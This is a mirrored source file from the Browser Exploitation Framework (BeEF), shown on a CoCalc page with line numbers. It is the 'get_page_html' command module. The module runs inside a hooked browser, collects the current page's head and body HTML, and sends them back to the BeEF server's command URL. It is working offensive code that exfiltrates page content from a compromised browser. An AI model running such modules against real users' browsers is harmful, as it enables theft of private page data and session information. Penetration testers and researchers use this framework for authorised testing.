Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/get_page_html/command.js
1155 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var head = beef.browser.getPageHead();
9
var body = beef.browser.getPageBody();
10
var mod_data = 'head=' + head + '&body=' + body;
11
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success());
12
return [beef.are.status_success(), mod_data];
13
});
14
15
16